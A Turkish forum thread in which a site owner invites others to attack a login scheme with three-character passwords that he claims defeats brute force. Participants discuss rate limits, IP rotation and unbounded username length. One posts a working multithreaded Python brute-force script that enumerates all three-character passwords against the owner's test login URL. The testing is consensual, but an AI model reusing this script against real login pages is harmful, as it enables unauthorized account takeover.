Buruteforce Attack Engelleyici

2 buçuk saatte şifre kırılıyor o zaman?

1 Beğeni

Şimdi hızlı bir internet ile tüm ihtimalleri denediğimiz halde kırılmayacağını mı iddia ediyorsunuz? Yoksa kimsenin tüm ihtimalleri deneyemeyeceğini mi iddia ediyorsunuz? Burada farklı yaptığınız şey nedir?

Eğer deneme yanılma yöntemi yada bir atak kullanıyprsanız, arada doğru parolayı girseniz bile algoritma bunu anlayıp anlatıyor. Sadece parolayı bilen kişi ilk denemede doğru yazarsa kabul ediyor

O zaman sayac gibi birşey kullanıyorsunuz. Peki ya sürekli farklı IP adreslerinden giriş yapıyorsak ve sürekli bilgilerimizi değiştirip sisteme her seferinde ilk defa giriyormuşuz gibi bağlantı kuruyorsak? Tabi sayac her yeni girişte sıfırlanıyorsa geçerli olur bu

1 Beğeni

İlk denemesi olduğunu nasıl anlıyorsunuz?

www.savadizayn.com.tr/BFA/giris.php
girin kırılmıştır hehe

1 Beğeni

Ne o. 158 kullanıcı, ne yaptın öyle :smiley:
Ama hala kırılmamış, yoksa sayaçta başarılı giriş 1 yazardı :slight_smile:

Yeni kullanıcı ekleyip duruyorsunuz galiba ama hiç parola gönderemiyorsunuz sisteme. Kodları bir kontrol et istersen

Aynen öyle, giriş yapmadan sadece kullanıcı kayıt formuna istek atıyor olabilir :smiley:

Hayır, IP adresine bağımlı bir kontrol yok. Yani bu birşey farkettirmez.

Kusura bakmayın, birkaç detay daha verirsem testin bir anlamı kalmayacak :smiley: İşe yarayabileceğinden emin olduktan sonra biraz daha detaylı inceleyebiliriz.

  • Hadi, başarılı giriş hala sıfır… Çıkmadı mı 450 bincik post edecek bir hacker :smile:

Ne zaman emin olacağız?

Motive olmaya sebep olacak bir şey göremediğim için bırakmıştım, aynı cihazdan yapılan isteklerle şifrenin kıralamayacağı söylediklerinizden anlaşılıyor. Sizin asıl amacınız gerçekten sitenizin güvenli olup olmadığını anlamaksa bunu yapan servisler, uygulamalar var. Onları da kullanabilirsiniz, zaten bir gündür sitenizdeki deneme sayısında artış olmadı. İstiyorsanız kullandığım kodu da atabilirim, kendiniz çalıştırıp siteniz üzerinde denersiniz.


Aynı hesapda yapılacak ard arda şifre girişleri için bir bekleme zamanı koymak yerine doğru şifre girilse bile sanki şifre yanlışmış gibi davranmak daha mı mantıklı? Daha mı kullanıcı dostu?

Bir de fazladan kullanıcıları silmişsiniz ama hala kullanıcı ismine bir sınır koymamışsınız. Rahatlıkla uzunluğu onlarca megabyteları bulan kullanıcı isimleri ile hesap oluşturabiliyoruz. Serverinizin kaldırabileceği yükün çok fazla olduğunu düşünmüyorum.

Öncelikle yapıcı eleştirileriniz için teşekkür ederim, ki forumda paylaşmak istememin en önemli sebebi buydu. Kendi bildiklerimle önlemler alıyorum ama aklıma gelmeyen yada atladığım şeyler de olabilir. Mesela sql injection için önlem aldım ama kullanıcı adı uzunluğunu atlamışım. Diğer hususları da cevaplamaya çalışayım;

Ben bir milyonun üzerinde deneme yaptım. içlerinde gerçek parola da olmasına rağmen hesap kırılmadı. Ama sadece benim denemem yeterli değil sanırım.

Gerçekten cihaz ip, macid ve bezeri hiçbir kimlik bilgisine dayanmıyor. Verdiğim karakter seti tamamen geçerli, ve parola bu set içinden sadece üç karakterden oluşuyor.

Memnun olurum, kendiminki ile karşılaştır ve sizinkiyle de denemeler yaparım.

Tasarladığım yöntemin birincil amacı; Kullanıcıyı hatırlanması zor şifrelerden kurtarabilmek ve eğer başarılı olursa evet, “asd1” gibi bir şifre bence kesinlikle daha kullanıcı dostu. Zira zaman zaman kendi dalgınlığımız sebebi ile bile hesabımız askıya alınabiliyor yada capcha gibi can sıkıcı şeylerle uğraşmak zorunda kalabiliyoruz. Milyonda bir başa gelebilecek bir hacklenme ihtimali yüzünden birbirinden farklı ve karmaşık birçok parolayı artık yazıp saklayacak güvenli bir yer bile bulmakta zorlanıyorum şahsen.

Hala eksikler vardır eminim. Benim henüz bilmediğim, önlem almadığım başka saldırı şekilleri de. Amacım varsayımsal olarak bütün standart tedbirler alınmış bir sistemde sadece "üç haneli parola kırılabilirmi?" yi test etmek istemiştim. Bahsettiğiniz servis ve uygulamalardan malesef haberim yok. Önereceğiniz bir adres yada başka bir bilgi varsa sevinirim.

Halledildi :slight_smile:

Aklıma gelen başka bir yol da, giriş denemelerinin arasındaki süreyi ölçüyorsunuzdur. Belirli bir süre içerisinde deneme sınırını aşanları sisteme almıyorsunuzdur. Şahsen gerçek bir sistemle uğraşıyor olsaydım öncelikle sisteme üye olup şifremi alırdım. Sonra da şifreyi hangi durumlarda yanlış girersem engellendiğimi öğrenirdim, yani ön araştırma yapardım. Sonra script yazardım.

Ayrıca hatalı giriş limitini senin için kaldırdık yazmışsınız, gerçekten limite bakmadığınıza emin misiniz :smile:

1 Beğeni

Merhaba, gecikme için üzgünüm. Birkaç düzeltme yapmam gerekti de.
Kullanıcı adı olarak ‘aaaaaaaa’ yada ‘11111111’ gibi adlar kullanan arkadaşlar muhtemel bir açığı farketmeme neden oldu. (sizlerle paylaşıp teste açmam gerçekten iyi oldu, ayrıca teşekkürler.) parolalar her üyeye özel olsun diye (ve tabii sonra benim bilebilmem açısından) kullanıcı adlarınızdan üretiliyordu. Lakin böyle bütün harfleri aynı yapınca üç karaktrli parola da “aaa” yada “111” oluverdi ki çok fecii :smiley:

Tabi kimse böyle bir kullanıcı adı kullanmaz kendine ama testin sağlığı açısından sakıncalı. Neyse şimdi birz daha karmaşık bir algoritma ile üretiliyor parolalarınız :slight_smile:

Hayır dostum, süre ölçümü de yok. parola giriş sıklık kontrolü de. Deneme yanılma yapıyorsan atlatıyor okadar. Ve evet limit yok. Sen bir milyon hatalı parola gir, ben hemen arkadan doğruyu yazar girerim.

Bu arada karakter setini biraz daha daralttım. Şimdi 65 karakter yani 3 haneli olarak 274625 ihtimal var sadece. Geçerli karakter seti;
“ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_@.”

Tabii bu yaparım ederimler sadece birer iddia, kendi denemelerimde aldığım sonuçlar. Ben şu anda hatamı arıyorum varsa eğer…

Bu hususta bilgi ve denemem için saldırı kodlarınızı paylaşıcaktınız. Müsait olduğunuzda, lütfen bekliyorum.

O kullanıcı adlarını alan bendim. Evet böyle bir ihtimali düşünmüştüm, sanki “aaa” girince giriş yapamamıştım diye hatırlıyorum neden bilmiyorum.

Enteresan, kodları merak ettim doğrusu…

Kusura bakmayın atacağım demiştim ama unutmuşum. Müsait olunca atarım.

Kod bu:

import socket
from threading import Thread
import requests
from requests.exceptions import ConnectTimeout
from requests.exceptions import ReadTimeout

def combinator(karakterler, uzunluk, i=0):
    l = len(karakterler)
    for i in range(i, l ** uzunluk):
        s = ""
        for j in range(uzunluk):
            i, index = divmod(i,l)
            s += karakterler[index]
        yield s

karakterler = "ABCÇDEFGĞHIİJKLMNOÖPQRSŞTUÜVWXYZabcçdefgğhiijklmnoöpqrsştuüvwxyz0123456789-_@"

def main():
    global sayaç, generator
    while True:
        try:
            with requests.Session() as s:
                s.headers.update({'User-Agent': 'Custom user agent'})
                s.get("http://www.savadizayn.com.tr/BFA/")
                r = s.post("http://www.savadizayn.com.tr/BFA/", data = {"user":"Denemeee", "submit":"İleri"})
                for i in generator:
##                    print(i + "\n", end = "")
                    r = s.post("http://www.savadizayn.com.tr/BFA/parola.php", data = {"parola":i, "submit2":"İleri"}, timeout=5)
                    if r.status_code != 200: print("İstek başarısız.")
                    sayaç += 1
                    if sayaç % 100 == 0:
                        print(sayaç)
        except (ConnectTimeout, ReadTimeout, ConnectionError) as e: print(e)
            
            

def spawn():
    for i in range(20):
        t = Thread(target = main)
        t.daemon = True
        t.start()


if __name__ == "__main__":
    sayaç = 0
    generator = combinator(karakterler, 3)
    spawn()
    main()

Eğer internetiniz iyiyse thread sayısını arttırabilirsiniz.

1 Beğeni

Neden .join()kullanmadınız

Birde divmod gömülü fonksiyonu ne işe yarıyor ?

1 Beğeni

Lütfen yanlış anlamayın ama neden help(divmod) yazarak öğrenmeye çalışmıyorsunuz ve sonra da tarif edildiği şekliyle bir örnek yapmıyorsunuz? Bu yaklaşım sizin araştırma becerinize de katkı sağlar.

Help on built-in function divmod in module builtins:

divmod(x, y, /)
    Return the tuple (x//y, x%y).  Invariant: div*y + mod == x.
(END)
>>> divmod(4,2)
(2, 0)
>>> 

Not: Sizi kırma, küçük düşürme gibi bir niyetim yoktu. Ama eğer kırıldıysanız sizden özür dilerim. Ben sadece kendi kaynaklarınıza başvurarak sorduğunuz soruya zaten cevap bulabileceğinizi hatırlatmak istedim.

3 Beğeni